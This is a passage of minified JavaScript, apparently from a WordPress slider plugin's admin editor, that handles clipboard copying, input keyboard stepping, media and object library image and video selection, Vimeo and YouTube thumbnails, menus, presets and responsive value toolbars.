0!==this.dataset.modal&&RVS.F.RSDialog.create({modalid:this.dataset.modal})}RVS.DOC.trigger("previewStopLayerAnimation")}),jQuery(".copyclipboard").length>0&&"undefined"!=typeof RSClipboard){var t=new RSClipboard(".copyclipboard");t.on("success",function(e){tpGS.gsap.fromTo(jQuery(e.trigger),.4,{autoAlpha:0},{autoAlpha:1,ease:"power3.inOut"})}),t.on("error",function(e){(e=jQuery(e.trigger)).addClass("errorcopy"),setTimeout(function(){e.removeClass("errorcopy")},400)})}jQuery(".inputDatePicker").length>0&&jQuery(".inputDatePicker").datepicker({dateFormat:"dd-mm-yy 00:00"}),RVS.DOC.on("keydown",".valueduekeyboard",function(e,t){var i=e.keyCode?e.keyCode:e.which,a=null!=e.currentTarget.dataset.steps?parseFloat(e.currentTarget.dataset.steps):1,o=null!=e.currentTarget.dataset.min?e.currentTarget.dataset.min:-99999,r=null!=e.currentTarget.dataset.max?e.currentTarget.dataset.max:99999,s=parseFloat(e.currentTarget.value)||0;switch(e.shiftKey&&(a*=10),i){case 38:e.currentTarget.value=Math.min(s+a,r),e.currentTarget.value!==Math.round(e.currentTarget.value)&&(e.currentTarget.value=Math.round(100*e.currentTarget.value)/100);break;case 40:e.currentTarget.value=Math.max(s-a,o),e.currentTarget.value!==Math.round(e.currentTarget.value)&&(e.currentTarget.value=Math.round(100*e.currentTarget.value)/100)}38!==i&&40!==i||jQuery(e.currentTarget).trigger("change")}),RVS.DOC.on("keyup",".losefocusonenter",function(e,t){13===e.keyCode&&jQuery(document.activeElement).blur()}),RVS.DOC.on("keyup","input, textarea",function(e,t){13===e.keyCode&&(RVS.S.inFocusValue=this.value)}),RVS.DOC.on("keyup keydown",function(e,t){"9"==e.keyCode&&jQuery("#builderView").scrollTop(0)}),RVS.DOC.on("click","#timline_process",function(){RVS.F.toggleTimeLine()}),RVS.DOC.on("keydown",function(e,t){if("27"==e.keyCode&&(void 0!==RVS.S.inFocus&&"none"!==RVS.S.inFocus&&RVS.S.inFocus.value!==RVS.S.inFocusValue&&(RVS.S.inFocus.value=RVS.S.inFocusValue,void 0!==RVS.S.inFocus.dataset.evt&&RVS.DOC.trigger(RVS.S.inFocus.dataset.evt,{val:RVS.S.inFocusValue,eventparam:RVS.S.inFocus.dataset.evtparam})),void 0!==RVS.S.inFocus&&"none"!==RVS.S.inFocus&&jQuery(RVS.S.inFocus).trigger("blur")),!0!==RVS.S.ovMode&&"32"==e.keyCode&&("none"===RVS.S.inFocus||void 0===RVS.S.inFocus))return RVS.F.toggleTimeLine(),!1}),RVS.DOC.on("click",".resettodefault",function(){var e=jQuery(this),t=e.data(),i=jQuery(t.target);void 0!==t.r?e.hasClass("layerinput")?(RVS.F.updateLayerObj({path:t.r,val:t.default,evt:t.evt,evtparam:t.evtparam}),void 0!==t.lib&&RVS.F.updateLayerObj({path:t.lib,val:""})):(RVS.F.updateSliderObj({path:t.r,val:t.default,evt:t.evt,evtparam:t.evtparam}),void 0!==t.lib&&RVS.F.updateSliderObj({path:t.lib,val:""})):(void 0!==i&&(i.val(t.default),i.trigger("change")),void 0!==t.evt&&RVS.DOC.trigger(t.evt,t.evtparam))}),RVS.DOC.on("getNewImageSize",function(e,t){if(void 0!==t){var i=t.split(".");if("slidebg"!==i[0]&&"slider"!==i[0]&&RVS.selLayers.length<=0)return;var a="slidebg"===i[0]?{r:"#slide#.slide.bg.image",rid:"#slide#.slide.bg.imageId",lib:"#slide#.slide.bg.imageLib",targetType:"slide",evt:"updateslidebasic",size:RVS.SLIDER[RVS.S.slideId].slide.bg.imageSourceType,url:RVS.SLIDER[RVS.S.slideId].slide.bg.image,id:RVS.SLIDER[RVS.S.slideId].slide.bg.imageId}:"slider"===i[0]?{r:"settings.layout.bg.image",rid:"settings.layout.bg.imageId",lib:"settings.layout.bg.imageLib",targetType:"slide",evt:"sliderBGUpdate",size:RVS.SLIDER.settings.layout.bg.imageSourceType,url:RVS.SLIDER.settings.layout.bg.image,id:RVS.SLIDER.settings.layout.bg.imageId}:{lib:"media.imageLib",targetType:"layer",evt:"updatelayerimagesrc",size:RVS.L[RVS.selLayers[0]].behavior.imageSourceType};switch(i[0]){case"slider":break;case"slidebg":a.evtparam="object"===i[1]?"double":"kenburnupdate";break;case"image":case"poster":a.rid="media."+i[0]+"Id",a.r="media."+i[0]+"Url",a.url=RVS.L[RVS.selLayers[0]].media[i[0]+"Url"],a.id=RVS.L[RVS.selLayers[0]].media[i[0]+"Id"];break;case"bg":a.rid="idle.backgroundImageId",a.r="idle.backgroundImage",a.lib="idle.bgimagelib",a.evt="updatelayerbgimage",a.url=RVS.L[RVS.selLayers[0]].idle.backgroundImage,a.id=RVS.L[RVS.selLayers[0]].idle.backgroundImageId}switch(i[1]){case"media":RVS.F.getMediaWithNewSize(a);break;case"object":RVS.F.getObjectWithNewSize(a)}}}),RVS.DOC.on("click",".removePosterImage",function(){var e=jQuery(this),t=e.data(),i=jQuery(t.target);"true"===this.dataset.multiple||this.dataset.multiple;void 0!==t.r?e.hasClass("layerinput")?(RVS.F.openBackupGroup({id:"UpdateLayerImage",txt:"Update Layer Image",icon:"photo"}),void 0!==t.rid&&RVS.F.updateLayerObj({path:t.rid,val:""}),void 0!==t.lib&&RVS.F.updateLayerObj({path:t.lib,val:"nothing"}),RVS.F.updateLayerObj({path:t.r,val:"",evt:t.evt,evtparam:t.evtparam}),RVS.F.closeBackupGroup({id:"UpdateLayerImage"})):(RVS.F.openBackupGroup({id:"UpdateSlideImage",txt:"Update Slide Image",icon:"photo"}),void 0!==t.rid&&RVS.F.updateSliderObj({path:t.rid,val:""}),void 0!==t.lib&&RVS.F.updateSliderObj({path:t.lib,val:"nothing"}),RVS.F.updateSliderObj({path:t.r,val:"",evt:t.evt,evtparam:t.evtparam}),RVS.F.closeBackupGroup({id:"UpdateSlideImage"}),RVS.F.updateEasyInputs({container:jQuery("#form_slidebg_source"),path:RVS.S.slideId+".slide.",trigger:"init"})):(void 0!==i&&(i.val(""),i.trigger("change")),t.evtparam=void 0===t.evtparam?{}:t.evtparam,t.evtparam.urlImage="",void 0!==t.evt&&RVS.DOC.trigger(t.evt,t.evtparam))}),RVS.DOC.on("click",".getVideoFromMediaLibrary",function(){var e=jQuery(this).data(),t=jQuery(e.target),i=this.className.indexOf("layerinput")>=0;RVS.F.openAddVideoDialog(RVS_LANG.choose_video,function(a,o){void 0!==e.r?(RVS.F.openBackupGroup({id:"updateVideo",txt:"Update Video from Media Library",icon:"videocam"}),void 0!==e.rid&&RVS.F.updateSliderObj({path:e.rid,val:o}),RVS.F.updateSliderObj({path:e.r,val:a,evt:e.evt,evtparam:e.evtparam}),RVS.F.closeBackupGroup({id:"updateVideo"})):(void 0!==t&&(t.val(a),RVS.F.openBackupGroup({id:"updateVideo",txt:"Update Video from Media Library",icon:"videocam"}),t.trigger("change"),void 0===e.rid||i||RVS.F.updateSliderObj({path:e.rid,val:o}),RVS.selLayers.length>0&&i&&(RVS.F.updateLayerObj({path:"media.mediaType",val:void 0!==e.mediatype?e.mediatype:"html5"}),void 0!==e.rid&&i&&RVS.F.updateLayerObj({path:e.rid,val:o}),RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0})),RVS.F.closeBackupGroup({id:"updateVideo"})),void 0!==e.evt&&RVS.DOC.trigger(e.evt,e.evtparam))})}),RVS.DOC.on("click",".getVideoFromObjectLibrary",function(){var e=jQuery(this),t=e.data();t.targetType=e.hasClass("layerinput")?"layer":e.hasClass("sliderinput")?"slider":"slide",RVS.F.openObjectLibrary({types:["videos"],filter:"all",selected:["videos"],data:t,success:{video:"updateVideoSrcFromLibrary"}})}),RVS.DOC.on("updateVideoSrcFromLibrary",function(e,t){void 0!==t.r?"layer"===t.targetType?(RVS.F.openBackupGroup({id:"videofromobjlibrary",txt:"Video from OBJ Library",icon:"videocam",lastkey:"mp4Url"}),RVS.F.updateLayerObj({path:"media.imageLib",val:"objectlibrary"}),RVS.F.updateLayerObj({path:"media.mediaType",val:"html5"}),RVS.F.updateLayerObj({path:"media.posterUrl",val:t.img}),RVS.F.updateLayerObj({path:"media.mp4Url",val:t.video,evt:t.evt,evtparam:t.evtparam}),RVS.F.closeBackupGroup({id:"videofromobjlibrary"}),RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0})):"slide"===t.targetType?(RVS.F.openBackupGroup({id:"videofromobjlibrary",txt:"Video from OBJ Library",icon:"videocam",lastkey:"mp4Url"}),RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.bg.image",val:t.img}),RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.bg.imageId",val:void 0}),RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.bg.imageLib",val:"objectlibrary"}),RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.bg.mpeg",val:t.video,evt:t.evt,evtparam:t.evtparam}),RVS.F.closeBackupGroup({id:"videofromobjlibrary"}),RVS.F.updateEasyInputs({container:jQuery(".slide_settings_collector"),path:RVS.S.slideId+".slide.",trigger:"init"})):(RVS.F.openBackupGroup({id:"videofromobjlibrary",txt:"Video from OBJ Library",icon:"videocam",lastkey:"mp4Url"}),RVS.F.updateSliderObj({path:"settings."+t.r+".image",val:t.img}),RVS.F.updateSliderObj({path:"settings."+t.r+".imageId",val:void 0}),RVS.F.updateSliderObj({path:"settings."+t.r+".imageLib",val:"objectlibrary"}),RVS.F.updateSliderObj({path:"settings."+t.r+".mpeg",val:t.video,evt:t.evt,evtparam:t.evtparam}),RVS.F.closeBackupGroup({id:"videofromobjlibrary"}),RVS.F.updateEasyInputs({container:jQuery(".slide_settings_collector"),trigger:"init"})):(void 0!==t.target&&(t.target.val(t.img),t.target.trigger("change")),void 0!==t.evt&&RVS.DOC.trigger(t.evt,t.evtparam))}),RVS.DOC.on("click",".getImageFromMediaLibrary",function(){var e=jQuery(this),t=e.data(),i="true"===this.dataset.multiple||1==this.dataset.multiple;t.targetType=e.hasClass("layerinput")?"layer":"slide",RVS.F.openAddImageDialog(RVS_LANG.choose_image,function(e,i){RVS.F.updateImageSrcFromMedia(t,e,i)},i)}),RVS.F.getMediaWithNewSize=function(e){jQuery(e.target);RVS.F.ajaxRequest("load_wordpress_image",{type:e.size,id:e.id},function(t){RVS.F.updateImageSrcFromMedia(e,t.url,e.id)},!1)},RVS.F.updateImageSrcFromMedia=function(e,t,i){if(void 0!==e.r)t=t.split(" ").join("%20"),"layer"===e.targetType?(RVS.F.openBackupGroup({id:"UpdateLayerImage",txt:"Update Layer Image",icon:"photo"}),void 0!==e.lib&&RVS.F.updateLayerObj({path:e.lib,val:"medialibrary"}),void 0!==e.rid&&RVS.F.updateLayerObj({path:e.rid,val:i}),void 0!==e.sty&&RVS.F.updateLayerObj({path:e.sty,val:"full"}),RVS.F.updateLayerObj({path:e.r,val:t,evt:e.evt,evtparam:e.evtparam}),RVS.F.closeBackupGroup({id:"UpdateLayerImage"})):(RVS.F.openBackupGroup({id:"UpdateSlideImage",txt:"Update Slide Image",icon:"photo"}),void 0!==e.lib&&RVS.F.updateSliderObj({path:e.lib,val:"medialibrary"}),void 0!==e.rid&&RVS.F.updateSliderObj({path:e.rid,val:i}),void 0!==e.sty&&RVS.F.updateSliderObj({path:e.sty,val:"full"}),RVS.F.updateSliderObj({path:e.r,val:t,evt:e.evt,evtparam:e.evtparam}),RVS.F.closeBackupGroup({id:"UpdateSlideImage"}),RVS.F.updateEasyInputs({container:jQuery("#form_slidebg_source"),path:RVS.S.slideId+".slide.",trigger:"init"}));else{if(void 0!==e.target&&""!==e.target){var a=jQuery(e.target);a.val(t),a.trigger("change")}e.evtparam=void 0===e.evtparam?{}:e.evtparam,e.evtparam.urlImage=t,void 0!==e.evt&&RVS.DOC.trigger(e.evt,e.evtparam)}},RVS.F.getObjectWithNewSize=function(e){RVS.F.ajaxRequest("load_library_object",{type:e.size,id:e.url},function(t){t.success&&(e.img=t.url,RVS.DOC.trigger("updateImageSrcFromLibrary",e))})},RVS.DOC.on("click",".getImageFromObjectLibrary",function(){var e=jQuery(this),t=e.data();t.targetType=e.hasClass("layerinput")?"layer":"slide",RVS.F.openObjectLibrary({types:["images","objects"],filter:"all",selected:["images"],data:t,success:{image:"updateImageSrcFromLibrary"}})}),RVS.DOC.on("updateImageSrcFromLibrary",function(e,t){void 0!==t.r?"layer"===t.targetType?(RVS.F.openBackupGroup({id:"UpdateLayerImage",txt:"Update Layer Image",icon:"photo"}),void 0!==t.sty&&RVS.F.updateLayerObj({path:t.sty,val:t.size}),void 0!==t.rid&&RVS.F.updateLayerObj({path:t.rid,val:"objectlibrary"}),void 0!==t.lib&&RVS.F.updateLayerObj({path:t.lib,val:"objectlibrary"}),RVS.F.updateLayerObj({path:t.r,val:t.img,evt:t.evt,evtparam:t.evtparam}),RVS.F.closeBackupGroup({id:"UpdateLayerImage"})):(RVS.F.openBackupGroup({id:"UpdateSlideImage",txt:"Update Slide(r) Image",icon:"photo"}),void 0!==t.rid&&RVS.F.updateSliderObj({path:t.rid,val:"objectlibrary"}),void 0!==t.sty&&RVS.F.updateSliderObj({path:t.sty,val:t.size}),void 0!==t.lib&&RVS.F.updateSliderObj({path:t.lib,val:"objectlibrary"}),RVS.F.updateSliderObj({path:t.r,val:t.img,evt:t.evt,evtparam:t.evtparam}),RVS.F.closeBackupGroup({id:"UpdateSlideImage"}),RVS.F.updateEasyInputs({container:jQuery("#form_slidebg_source"),path:RVS.S.slideId+".slide.",trigger:"init"})):(void 0!==t.target&&(t.target.val(t.img),t.target.trigger("change")),void 0!==t.evt&&RVS.DOC.trigger(t.evt,t.evtparam))}),RVS.DOC.on("click",".getImageFromStream",function(){var e=this.dataset;e.targetType=this.className.indexOf("layerinput")>=0?"layer":"slide",void 0!==e.r?"layer"===e.targetType?(RVS.F.openBackupGroup({id:"UpdateLayerImage",txt:"Update Layer Image",icon:"photo"}),RVS.F.updateLayerObj({path:"media.imageLib",val:"stream"}),RVS.F.updateLayerObj({path:e.rid,val:"stream"}),RVS.F.updateLayerObj({path:e.r,val:RVS.ENV.img_ph_url,evt:e.evt,evtparam:e.evtparam}),RVS.F.closeBackupGroup({id:"UpdateLayerImage"})):(RVS.F.openBackupGroup({id:"UpdateSlideImage",txt:"Update Slide Image",icon:"photo"}),RVS.F.updateSliderObj({path:e.rid,val:"stream"}),RVS.F.updateSliderObj({path:e.r,val:RVS.ENV.img_ph_url,evt:e.evt,evtparam:e.evtparam}),RVS.F.closeBackupGroup({id:"UpdateSlideImage"})):(void 0!==e.target&&(e.target.val("stream"),e.target.trigger("change")),void 0!==e.evt&&RVS.DOC.trigger(e.evt,e.evtparam))}),RVS.DOC.on("click",".getImageFromVimeo",function(){var e=jQuery(this).data(),t=jQuery(e.target),i=RVS.F.getDeepVal({path:e.f}),a=location.protocol+"//vimeo.com/api/v2/video/"+i+".json";jQuery.ajax({type:"GET",url:a,success:function(i){void 0!==e.r?(RVS.F.openBackupGroup({id:"UpdateLayerImage",txt:"Update Layer Image",icon:"photo"}),RVS.F.updateSliderObj({path:e.r,val:i[0].thumbnail_large,evt:e.evt,evtparam:e.evtparam}),void 0!==e.rid&&RVS.F.updateSliderObj({path:e.rid,val:"objectlibrary"}),RVS.F.closeBackupGroup({id:"UpdateLayerImage"})):(void 0!==t&&(t.val(i[0].thumbnail_large),t.trigger("change")),void 0!==e.evt&&RVS.DOC.trigger(e.evt,e.evtparam))}})}),RVS.DOC.on("click",".getImageFromYouTube",function(){var e=jQuery(this).data(),t=jQuery(e.target),i=RVS.F.getDeepVal({path:e.f}),a=location.protocol+"//img.youtube.com/vi/"+i+"/sddefault.jpg";void 0!==e.r?(RVS.F.openBackupGroup({id:"UpdateLayerImage",txt:"Update Layer Image",icon:"photo"}),RVS.F.updateSliderObj({path:e.r,val:a,evt:e.evt,evtparam:e.evtparam}),void 0!==e.rid&&RVS.F.updateSliderObj({path:e.rid,val:"objectlibrary"}),RVS.F.closeBackupGroup({id:"UpdateLayerImage"})):(void 0!==t&&(t.val(a),t.trigger("change")),void 0!==e.evt&&RVS.DOC.trigger(e.evt,e.evtparam))});var i=jQuery(document.body).on("click",".form_menu_level_1_li, .form_menu_level_2_li",function(){var e=jQuery(this),t=e.closest(".form_menu_inside");e.siblings("li").removeClass("selected"),e.addClass("selected"),e.hasClass("form_menu_level_1_li")||t.find(".form_level_2_inner").hide().removeClass("open");var i=jQuery(e.data("target"));i.show().addClass("open"),RVS.F.updateFormPositions({jf:RVS.F.closestClass(e[0],"formcontainer"),uncollapse:!0}),void 0!==i.data("evt")&&RVS.DOC.trigger(i.data("evt"),i.data("evtparam"))});i.on("click",".form_intoaccordion",function(){var e=jQuery(this),t=e.closest(".form_inner"),i=e.closest(".formcontainer");if(t.length>0&&t.hasClass("open")||0===t.length&&!i.hasClass("collapsed"))return function(e){e.closest(".form_inner").length>0?e.closest(".form_inner").removeClass("open"):e.closest(".formcontainer").addClass("collapsed"),RVS.DOC.trigger("scrollUpdates"),RVS.DOC.trigger("accordionaction")}(e),!1;!function(e){void 0!==e.data("trigger")&&jQuery(e.data("trigger")).trigger("click"),e.closest(".formcontainer").removeClass("collapsed"),RVS.DOC.trigger("scrollUpdates"),RVS.DOC.trigger("accordionaction")}(e)}),i.on("mouseenter",".form_intoaccordion",function(){this.parentNode.dataset.hovered="on"}),i.on("mouseleave",".form_intoaccordion",function(){this.parentNode.dataset.hovered="off"}),i.on("click",".triggerselect",function(){var e=jQuery(this).data(),t=jQuery(e.select);void 0!==t&&t.length>0&&t.val(e.val),t.trigger("change"),t.ddTP("change")}),i.on("click",".navaligntrigger",function(){var e=jQuery(this).data(),t=e.select.split(","),i=e.val.split(",");for(var a in RVS.F.openBackupGroup({id:"NavigationAlign",txt:e.type+" Align",icon:"navigation",lastkey:"navigation"}),RVS.F.ignoreEventsOpen(),t)if(t.hasOwnProperty(a)){var o=jQuery(t[a]);void 0!==o&&o.length>0&&(i.length>0?o.val(i[a]):o.val(i[0]),o.trigger("change"))}RVS.F.ignoreEventsClose(),RVS.F.closeBackupGroup({id:"NavigationAlign"}),RVS.DOC.trigger("sliderNavPositionUpdate",e.type)}),i.on("click",".progressbar_selector",function(){var e=jQuery(this).data(),t=e.select.split(","),i=e.val.split(",");for(var a in RVS.F.openBackupGroup({id:"progressbar_selector",txt:e.type+" Align",icon:"navigation",lastkey:"navigation"}),RVS.F.ignoreEventsOpen(),t)if(t.hasOwnProperty(a)){var o=jQuery(t[a]);void 0!==o&&o.length>0&&(i.length>0?o.val(i[a]):o.val(i[0]),o.trigger("change"))}RVS.F.ignoreEventsClose(),RVS.F.closeBackupGroup({id:"progressbar_selector"}),RVS.DOC.trigger("sliderProgressUpdate",e.type)}),RVS.DOC.on("click",".mdl_group_wrap_menuitem",function(){jQuery(".mdl_group_wrap_menuitem.selected, .mdl_group_wrap.selected").removeClass("selected"),jQuery(this).addClass("selected"),jQuery("#"+this.dataset.show).addClass("selected"),jQuery("#meta_rbm_content").scrollTop(0).RSScroll("update")}),RVS.F.updateMetaTranslate();var a='<div id="mdl_group_images" class="mdl_group_wrap">';for(var o in a+='<div class="mdl_group">',a+='<div class="mdl_group_header"><i class="material-icons">photo</i>'+RVS_LANG.featuredimages+'<i class="material-icons accordiondrop">arrow_drop_down</i></div>',RVS.ENV.img_sizes)if(RVS.ENV.img_sizes.hasOwnProperty(o)){var r=RVS.ENV.img_sizes[o].replace(" ","_").toLowerCase();a+='<div data-val="{{featured_image_url_'+r+'}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">photo</i>{{featured_image_url_'+r+'}}</div><div class="mdl_right_content">'+r+'</div><div class="mdl_placeholder_content">http://featured.img</div></div>'}a+="</div>",a+="</div>",jQuery("#meta_datas_list").append(jQuery(a)),jQuery("#mdl_group_wrap_menu").append('<div data-show="mdl_group_images" class="mdl_group_wrap_menuitem">'+RVS_LANG.images+"</div>"),RVS.DOC.trigger("extendmetas"),RVS.DOC.on("click",".ssmbtn",function(){jQuery(this.dataset.inside).find(".ssmbtn.selected, .ssm_content.selected").removeClass("selected"),this.className+=" selected",void 0!==this.dataset.hidessm&&jQuery(this.dataset.hidessm+".selected").removeClass("selected"),jQuery(this.dataset.showssm).addClass("selected"),void 0!==this.dataset.evt&&RVS.DOC.trigger(this.dataset.evt,this.dataset.evtparam)}),RVS.DOC.on("click",".input_presets_dropdown",function(){jQuery(".input_presets_wrap.infocus").removeClass("infocus"),this.parentElement.className+=" infocus"}),RVS.DOC.on("blur","input",function(){RVS.S.respInfoBar.toolbar&&(RVS.S.respInfoBar.visible=!1,RVS.S.respInfoBar.toolbar[0].style.display="none")})},RVS.F.updateMetaTranslate=function(e){RVS.LIB.META={},jQuery(".mdl_group_member").each(function(){var e=this.dataset.val.split(":");e=e.length>1?e[0]+".*?}}":e[0],RVS.LIB.META[e]=jQuery(this).find(".mdl_placeholder_content").text()})},RVS.F.updatePostCategories=function(e){if(Array.isArray(e.postTypes)||(e.postTypes=e.postTypes.split(",")),!Array.isArray(e.postTypes)){var t=[];t.push(e.postTypes),e.postTypes=t}var i="";for(var a in e.postTypes)if(e.postTypes.hasOwnProperty(a)){var o=RVS.LIB.POST_TYPES_CAT[e.postTypes[a]];for(var r in o)o.hasOwnProperty(r)&&(i+="<option "+(r.indexOf("option_disabled")>=0?"disabled":"")+' value="'+r+'">'+o[r]+"</option>")}e.categories[0].innerHTML=i,RVS.F.setS2Option({select:e.categories,update:!0})},RVS.F.showFieldResponsiveValues=function(e){if(RVS.S.respInfoBar.field=void 0!==e?jQuery(e):RVS.S.respInfoBar.field,"slider"===RVS.eMode.top||1===RVS.selLayers.length&&void 0!==RVS.S.respInfoBar.field&&RVS.S.respInfoBar.visible){RVS.S.respInfoBar.toolbar||(RVS.S.respInfoBar.toolbar=jQuery('<div id="responsive_infos_toolbar"></div>'),jQuery("#the_right_toolbar").append(RVS.S.respInfoBar.toolbar));var t=0,i="";for(var a in i+='<span class="int_inher_title">'+RVS_LANG.intinheriting+"</span>",RVS.V.sizes)RVS.V.sizes.hasOwnProperty(a)&&RVS.V.sizes[a]!==RVS.screen&&RVS.SLIDER.settings.size.custom[RVS.V.sizes[a]]&&(i+='<div style="white-space:nowrap">',i+='<i class="material-icons">',i+="d"==RVS.V.sizes[a]?"desktop_mac":"n"==RVS.V.sizes[a]?"laptop":"t"==RVS.V.sizes[a]?"tablet_android":"phone_iphone",i+="</i>",i+='<span class="responsive_info_value">'+RVS.F.getDeepVal({path:"slider"===RVS.eMode.top?"settings."+RVS.S.respInfoBar.field[0].dataset.r:RVS.S.slideId+".layers."+RVS.selLayers[0]+"."+RVS.S.respInfoBar.field[0].dataset.r,screen:RVS.V.sizes[a]})+"</span>",i+="</div>",t++);if(t>0){RVS.S.respInfoBar.toolbar[0].style.display="block",RVS.S.respInfoBar.toolbar[0].innerHTML=i;var o=RVS.S.respInfoBar.field.offset();RVS.S.respInfoBar.toolbar.width();tpGS.gsap.set(RVS.S.respInfoBar.toolbar,{top:o.top,left:-85})}else RVS.S.respInfoBar.visible=!1,RVS.S.respInfoBar.toolbar[0].style.display="none"}},RVS.F.initCopyClipboard=function(e){if(jQuery(e).length>0&&-1==jQuery.inArray(e,p)){(p=void 0===p?[]:p).push(e);var t=new RSClipboard(e);t.on("success",function(e){jQuery(":focus").blur(),RVS.F.showInfo({content:"Copied To Clipboard",type:"success",showdelay:0,hidedelay:1,hideon:"",event:""}),tpGS.gsap.fromTo(jQuery(e.trigger),.4,{autoAlpha:0},{autoAlpha:1,ease:"power3.inOut"})}),t.on("error",function(e){(e=jQuery(e.trigger)).addClass("errorcopy"),setTimeout(function(){e.removeClass("errorcopy")},400)})}},RVS.F.switchButtonInit=function(e){(e=void 0===e?{}:e).container=void 0===e.container?"#builderView":e.container,e.init=void 0===e.init||e.init,e.init&&jQuery(e.container).find(".switch_button").each(function(){var e=jQuery(this),t=this.dataset;e.hasClass("activeswitch")||(e.addClass("activeswitch"),RVS.F.changeSwitchState({el:this,state:t.start_state}),e.on("click",function(){RVS.F.changeSwitchState({el:this,callEvent:!0})}))})},RVS.F.changeSwitchState=function(e){if(null!==e.el){var t=e.el.dataset,i=jQuery(e.el),a=t.states.split(",");t.state=void 0!==e.state?e.state:t.state===a[0]?a[1]:a[0],i.find(".switch_button_state").html(t[t.state+"_state"]),i.find(".switch_button_icon").html(t[t.state+"_icon"]),void 0!==e.callEvent&&RVS.DOC.trigger(t[t.state])}},RVS.F.getPresetIcon=function(e){var t='<i class="material-icons preset_help_icon">';return e.replace("*",t).replace("*","</i>").replace("*",t).replace("*","</i>").replace("*",t).replace("*","</i>")},RVS.F.isOnList=function(e,t){if(void 0===e)return!1;if(Array.isArray(e))return jQuery.inArray(t,e)>=0;if(void 0!==e[t])return!0;var i=!1;for(var a in e)e.hasOwnProperty(a)&&!1===i&&(i=e[a]===t||i);return i},RVS.F.showHidePresetFavorits=function(e,t){var i,a=RVS.S.allPresets[t];if(void 0!==a&&null!=e&&(Array.isArray(e)||"object"==typeof e)&&0!==e.length){var o={},r={};for(var s in a)if(a.hasOwnProperty(s)&&"object"==typeof a[s])for(var n in void 0===o[s]&&(o[s]={show:!1,id:a[s].id}),a[s])if(a[s].hasOwnProperty(n)&&"object"==typeof a[s][n])for(var d in void 0===r[s+"_"+n]&&(r[s+"_"+n]={show:!1,id:a[s][n].id}),a[s][n].groups)a[s][n].groups.hasOwnProperty(d)&&null!=(i=document.getElementById(a[s][n].groups[d].id))&&(RVS.F.isOnList(e,d)?(o[s].show=!0,r[s+"_"+n].show=!0,i.classList.add("prs_is_favorit")):i.classList.remove("prs_is_favorit"));for(var l in o)null!=(i=document.getElementById(o[l].id))&&(o[l].show?i.classList.add("prs_is_favorit"):i.classList.remove("prs_is_favorit"));for(var l in r)null!=(i=document.getElementById(r[l].id))&&(r[l].show?i.classList.add("prs_is_favorit"):i.classList.remove("prs_is_favorit"))}},RVS.F.createPresets=function(e){e.groupid=void 0===e.groupid?"preset_list_"+Math.round(1e5*Math.random()):e.groupid,e.groupclass=void 0===e.groupclass?"pres_list_group_"+Math.round(1e5*Math.random()):e.groupclass,e.maingrpclass=void 0===e.maingrpclass?"preslisinner_"+Math.round(1e5*Math.random()):e.maingrpclass,e.ref=void 0===e.ref?Math.round(1e5*Math.random()):e.ref,RVS.S.allPresets=void 0===RVS.S.allPresets?{}:RVS.S.allPresets,RVS.S.allPresets[e.maingrpclass]=void 0===RVS.S.allPresets[e.maingrpclass]?{}:RVS.S.allPresets[e.maingrpclass],RVS.S.allPresets[e.maingrpclass][e.ref]=void 0===RVS.S.allPresets[e.maingrpclass][e.ref]?{}:RVS.S.allPresets[e.maingrpclass][e.ref];var t='<div id="'+(void 0===e.groupid?"":e.groupid)+'" class="'+(void 0!==e.eclass?" "+e.eclass:"")+(e.modern?" modern_presets ":" ")+"presets_liste "+(void 0===e.groupclass?"":e.groupclass)+'">',i="",a=void 0===e.prefix?"":e.prefix+"_";for(var o in RVS.S.allPresets[e.maingrpclass][e.ref].id=e.groupid,t+='\t<div class="presets_liste_head" data-samemaingroups="'+(void 0!==e.maingrpclass?e.maingrpclass:"")+'" data-igroup="inner_'+(void 0===e.groupid?"":e.groupid)+'" data-samegroups="'+(void 0===e.groupclass?"":e.groupclass)+'"><i class="selected_preset material-icons">check</i>'+(e.modern?'<i class="presets_liste_icon material-icons">'+e.icon+"</i>":"")+'<span class="presets_liste_title">'+e.title+'</span><i class="right-divided-icon material-icons">arrow_drop_down</i></div>',i+='\t<div class="presets_liste_inner'+(void 0!==e.eclass?" "+e.eclass:"")+(e.modern?" modern_preset_list":"")+(void 0!==e.maingrpclass?" "+e.maingrpclass:"")+'" id="inner_'+(void 0===e.groupid?"":e.groupid)+'">',e.groups)if(e.groups.hasOwnProperty(o)&&"grp_title"!=o&&"icon"!=o&&"noSubLevel"!==o&&"eclass"!==o){for(var r in RVS.S.allPresets[e.maingrpclass][e.ref][o]={id:e.groupid+"_"+o,class:e.groups[o].custom||"custom"===o?"custompresetgroup ":""},i+='<div id="'+e.groupid+"_"+o+'" class="presetssgroup '+(e.groups[o].custom||"custom"===o?"custompresetgroup ":"")+" "+(""+e.groups.noSubLevel=="true"?"nosubpresetlevel ":"")+'">',i+='\t<div class="presetssgroup_head"><span class="presetssgroup_name">'+e.groups[o].title+'</span><div class="animation_drop_arrow"><i class="material-icons">arrow_drop_down</i></div></div>',i+='\t<div class="presets_listelements">',"custom"===o&&(i+='<div data-evt="'+e.customevt+'" data-key="custom" data-grpid="'+e.groupid+'" data-grp="'+o+'" class="'+a+'presetelement presets_listelement dark_btn"><span class="cla_custom_name">'+RVS_LANG.savecurrenttemplate+'</span><input type="text" value="custom" class="cla_entername"><div class="custom_layer_animation_toolbar"><i data-evt="'+e.customevt+'" class="cla_answer_yes material-icons">done</i><i data-evt="'+e.customevt+'" class="cla_answer_no material-icons">close</i><i class="add_custom_layeranimation material-icons">add</i></div></div>'),e.groups[o].elements)e.groups[o].elements.hasOwnProperty(r)&&(RVS.S.allPresets[e.maingrpclass][e.ref][o].groups=void 0===RVS.S.allPresets[e.maingrpclass][e.ref][o].groups?{}:RVS.S.allPresets[e.maingrpclass][e.ref][o].groups,RVS.S.allPresets[e.maingrpclass][e.ref][o].groups[r]={id:e.groupid+"_"+o+"_"+r},i+="custom"===o?'<div id="'+e.groupid+"_"+o+"_"+r+'" data-key="custom_'+a+r+'" data-grpid="'+e.groupid+'" data-main="'+e.groups[o].elements[r].main+'" data-grp="'+o+'" data-custom="true" data-evt="'+e.customevt+'" class="presets_listelement dark_btn"><span 